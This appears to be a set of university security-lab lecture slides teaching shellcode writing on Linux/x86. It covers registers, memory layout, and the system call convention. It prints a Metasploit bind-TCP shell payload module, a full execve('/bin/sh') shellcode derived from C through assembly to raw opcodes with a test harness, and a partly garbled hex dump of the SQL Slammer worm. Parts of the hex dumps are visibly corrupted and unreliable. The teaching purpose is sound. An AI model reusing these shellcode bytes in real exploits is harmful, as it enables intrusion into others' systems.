ISA564
SECURITY LAB

Shellcode

Angelos Stavrou, George Mason University
Any questions for Lab 1?

```
module ShellBindTcp

    include Msf::Payload::Single

    def initialize(info = {})
        super(merge_info(info, 
            'Name' => 'Linux Command Shell, Bind TCP Inline',
            'Version' => '$Revision: 4571 $',
            'Description' => 'Listen for a connection and spawn a command shell',
            'Author' => ['skape', 'vlad902'],
            'License' => MSF_LICENSE,
            'Platform' => 'linux',
            'Arch' => ARCH_X86,
            'Handler' => Msf::Handler::BindTCP,
            'Session' => Msf::Sessions::CommandShell,
            'Payload' =>
            {
                'Offsets' =>
                {
                    'LPORT' => [0x14, 'n'],
                },
                'Payload' =>
                '
                "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\xe1\xcd\x80\x55" +
                "\x43\x52\x66\x68\xf0\x53\x68\xe1\x6a\x66\x50\x51\x56" +
                "\x89\xe1\xcd\x80\xb0\x66\xd1\xe5\xcd\x80\x89\x52\x52\x52\x43\x89\xe1" +
                "\xb0\x66\xcd\x80\x93\x6a\x02\xb0\x79\xcd\x80\x49\x79\xf9\xb0" +
                "\xb0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x52\x52\x69\xe9\xe3\x52\x53" +
                "\x89\xe1\xcd\x80"
            }
        }
    end

end
```

shell_bind_tcp.rb
Outline

- Shellcode Basics
- Advanced Shellcode
What is shellcode?

- Machine code used as the payload in the exploitation of a software bug
- Whenever altering a program flow, shellcodes become its natural continuation
- Common in exploitation of vulnerabilities such as stack- and heap-based buffer overflows as well as format strings attacks
What shellcode can do?

- Providing access to the attacked system
  - Spawning /bin/sh [or] cmd.exe (local shell)
  - Binding a shell to a port (remote shell)
  - Adding root/admin user to the system
  - Chmod(ing) /etc/shadow to be writeable

- Anything that you want, as long as you code it
  - Usually coded in assembly language
Challenges of writing a shellcode

- **Position-independent**
  - Injected code may be executed in any position
  - The positions of library functions (such as `system`, `exec`, etc.) are unknown and they are determined dynamically

- **Self-contained**
  - There is no known address for variables
  - We have to create almost everything on the overwritten buffer

- **Other constraints**
  - Most attacks on C programs are performed using input strings
    - C considers a zero byte as end-of-string marker
How can we write a shellcode

- Understanding IA-32 architecture
  - General registers
  - Memory layout
  - Stack organization
  - System call convention

- Understanding/Writing your own shellcode
The CPU’s registers

- **The Intel 32-bit x86 registers:**
  - EAX: accumulator
  - EBX: base
  - ECX: counter
  - EDX: data
  - ESP: stack pointer
  - EBP: base pointer
  - ESI: source index
  - EDI: destination index
  - EIP: instruction pointer
The CPU’s registers

- **Useful instructions include:**
  - `mov`: moves a value
  - `int`: issues an interrupt
  - `push`: pushes a value onto the stack
  - `pop`: pops a value off the stack
  - `add`: adds a value to the target
  - `sub`: substracts a value from the target
  - `call`: calls a subprocedure
  - `jmp`: jumps to another address
  - `nop`: does nothing
How can we write a shellcode

- Understanding IA-32 architecture
  - General registers
  - Memory layout
  - Stack organization
  - System call convention

- Understanding/Writing your own shellcode
Process Memory Layout

- **Stack**
- **Heap**
- **BSS**
- **Data**
- **Text (Read-only)**

Higher memory addresses

Lower memory addresses

- **Process Memory Layout**
  - **text**
    - Program code; marked read-only, so any attempts to write to it will result in segmentation fault
  - **data segment**
    - Global and static variables
  - **stack**
    - Dynamic variables
Process Runtime -- Linux/x86 Example

- **x86**
  - 32-bit von Neumann machine
  - $2^{32} \approx 4GB$ memory locations

- **stack**
  - $\leq 0xbfffffff$, Grows downwards
  - Environment variables, Program parameters
  - Automatically allocated stack variables
  - Activation records

- **heap**
  - Dynamic allocation
  - Explicitly through `malloc, free`

```c
int main(int argc, char *argv[], char *env[]) {
    return 0;
}
```
Process Runtime -- Linux/x86 Example (II)

- **.bss**
  - runtime allocation of space
  - RWX

- **.data**
  - compile-time space allocation, and initialisation values
  - RWX

- **.text**
  - program code
  - runtime DLLs
  - RO, X

### Data Section
- // static & global initialised data

### Text Section
- // executable machine code

### Runtime Allocation of Space
- .bss
- .data
- .text

### Kernel Space
- 0xffffffff
- env[]
- argv[]
- char *env[]
- char *argv[]
- int argc

### Runtime Stack

### Runtime Heap

### Program Code
- 0x08048000

### Machine Code
- 0x00000000
Stack organization

- Local Variables
- Old Frame pointer
- Return address
- Parameters

Low memory address

Stack frame i+1

High memory address

Stack frame i
```c
void main() {
    int x;
    x = 0;
    function(1,2,3);
    x = 1;
    printf("%d\n",x);
}
```
Example

```c
void function (int a, int b, int c) {
    char buffer1[5];
    char buffer2[10];
}
```
How can we write a shellcode

- Understanding IA-32 architecture
  - General registers
  - Memory layout
  - Stack organization
  - System call convention

- Understanding/Writing your own shellcode
System Call Convention

- A system call is an instrument for user-mode processes to request a service from the kernel.
- No function addresses need to be known to execute a system call.
  - Contrary to library functions.
- System calls are specified via function numbers.
  - `/usr/include/asm/unistd.h`
System Call Convention

- System calls need a special invocation mechanism:
  - System Call Number ➔ EAX
    - Linux: the list of assigned numbers is defined in the file /usr/include/asm/unistd.h
  - Parameters ➔ EBX, ECX, EDX …
    - The parameters are put into EBX, ECX, EDX, ESI, EDI (in this order, left to right).
    - Additional parameters need to be passed by memory reference (EBP will contain the address).
  - Instruction ➔ INT 0x80 or sysenter
  - Return Value ➔ EAX
    - Negative values denote errors
Example 1: Calling exit

- Invoking “exit” system call:

  ```
  xorl %ebx, %ebx    /* ebx = 0 */
  mov $0x1, %eax     /* eax = 1 */
  int $0x80          /* interrupt */
  ```
Example 2: Calling execve

```c
int execve( const char *filename,
            char *const argv[],
            char *const envp[]);
```

- filename points to the executable’s name (EBX)
- argv points to an array of arguments to the executable (ECX):
  - The first element must be a pointer to the executable’s name
  - The last element must be zero
- envp points to an array of environment strings (EDX):
  - The array may contain just the terminating zero element
  - The last element must be zero
How can we write a shellcode

- Understanding IA-32 architecture
  - General registers
  - Memory layout
  - Stack organization
  - System call convention

- Writing your own shellcode
Writing your own shellcode

- Step 1 ➔ Write shellcode in C
- Step 2 ➔ Convert the shellcode written in C to assembly
- Step 3 ➔ Find the corresponding opcodes and fill the buffer
- Step 4 ➔ Test the shellcode
The normal and most common type of shellcode is a straight `/bin/sh` `execve()` call.

```c
void main()
{
    char *name[2];
    name[0] = " /bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```
Step 2: Convert it to assembly (1)

- **System Call Convention**
  - **System call number** → **EAX**
    - Linux: the assignment is defined in the file `/usr/include/asm/unistd.h`
  - **Parameters**
    - EBX, ECX, EDX, ESI, EDI, EBP
    - Or stack

- **INT 0x80**
  - The instruction used to invoke the system call


Step 2: Convert it to assembly (2)

```c
void main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```
Step 2: Convert it to assembly (3)

- Have the string "/bin/sh" somewhere in memory
- Write the address of that into EBX
- Create a char ** which holds the address of the former "/bin/sh" and the address of a NULL Write the address of that char ** into ECX.
- Write zero into EDX
- Issue INT 0x80 and generate the trap.
Step 2: Convert it to assembly (4)

xorl %eax,%eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %eax
pushl %ebx
movl %esp, %ecx
xorl %edx, %edx
movb $0xb, %eax
int $0x80
Step 3: Shellcode in raw opcodes

- Convert the assembly instructions to the appropriate opcodes:

```c
char sc[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80";
/* xor %eax, %eax */
/* push %eax */
/* push $0x68732f2f*/
/* push $0x6e69622f*/
/* mov %esp,%ebx */
/* push %eax */
/* push %ebx */
/* mov %esp,%ecx */
/* xor %edx,%edx */
/* mov $0xb,%al */
/* int $0x80 */
Step 4: Testing the shellcode

```c
char sc[ ]="...";       /*shell opcode*/
main()
{
    void (*fp) (void);
    fp = (void *)sc;
    fp();
}
```
char sc[] =
  "... ...
"eb 14"
  /* jmp <shellcode+0x68> */
"31 c0"
  /* xorl %eax,%eax */
"5b"
  /* popl %ebx */
"8d 4b 14"
  /* leal 0x14(%ebx),%ecx */
"89 19"
  /* movl %ebx,(%ecx) */
"89 43 18"
  /* movl %eax,0x18(%ebx) */
"88 43 07"
  /* movb %al,0x7(%ebx) */
"31 d2"
  /* xorl %edx,%edx */
"b0 0b"
  /* movb $0xb,%al */
"cd 80"
  /* int $0x80 */
"e8 e7 ff ff ff"
  /* call <shellcode+0x54> */
"2f 62 69 6e 3f 73 68"
  ; "*/bin/sh"
"90 90 90 90 90 90 90 90"

\0
MS SQL Server 2000 receives a request of the worm
- `SQLSERVR.EXE` process listens on UDP Port 1434
Slammer’s code is 376 bytes!

0000: 4500 0194 025f 0a9c E...¶Û..m.
0010: cb08 07c7 1052 059a 0180 bda8 04 01 0101
0020: 0101 0101 0101 0101 0101 0101 0101 0101
0030: 0101 0101 0101 0101 0101 0101 0101 0101
0040: 0101 0101 0101 0101 0101 0101 0101 0101
0050: 0101 0101 0101 0101 0101 0101 0101 0101
0060: 0101 0101 0101 0101 0101 0101 0101 0101
0070: 0101 0101 0101 0101 0101 0101 0101 0101
0080: 42eb 0e01 0101 0101 0101 0101 070ae 4201 70ae Bë............
0090: 4190 9090 9090 9090 9090 9098 da99 b042 b801 B.............
00a0: 0101 0131 c9b1 1850 e2fd 3501 0101 0550 ...1É.Pây9
00b0: 89e5 5168 2e64 6c6c 6865 6c33 3268 6b65 .åQh.dll hel32hke
00c0: rnrnQhounthi228tTf'llQh32
00d0: 1f6f75 6e74 7375 6773 696e 6775 6e74 6865 rnQhousandhisures and points it to a location
00e0: 6573 7070 2065 7075 7374 696e 6775 6e74 6865 ASP of SQLsort.dll which effectively
00f0: 726e 5168 6f75 6e74 6869 636b 4368 4765 rnQhounthichecks and points it to a location
0100: 7454 66b9 6c6c 5168 3332 2e64 6877 7332 tTf llQh32.dhws2
0110: 5f66 b965 7451 6873 6f63 6b66 b974 6f51 _f etQhsockf
0120: 6873 656e 64be 1810 ae42 8d45 d450 ff16 hsend®.®B.EôP..
Memory Layout and Control Flow

SQLSORT.DLL

42B0C9DC:

JMP ESP

Import
Address
Directory

ESP = Stack Pointer Register

string buffer

375 bytes

LoadLibraryA()

GetProcAddress()

Top of stack

String 1
buff[128]

LOCAL VARIABLES

SAVED FRAME POINTER

RETURN ADDRESS

ARG0

ARG1

ARG2

WORM CODE

String 3
Advanced Shellcode

- Why we need them?
  - Additional features
  - Hostile environments

- Additional Features
  - Any examples from Lab 1?

- Hostile Environment
  - Shellcode w/ only alphanumeric characters
  - Multi-platform shellcode
  - Any others?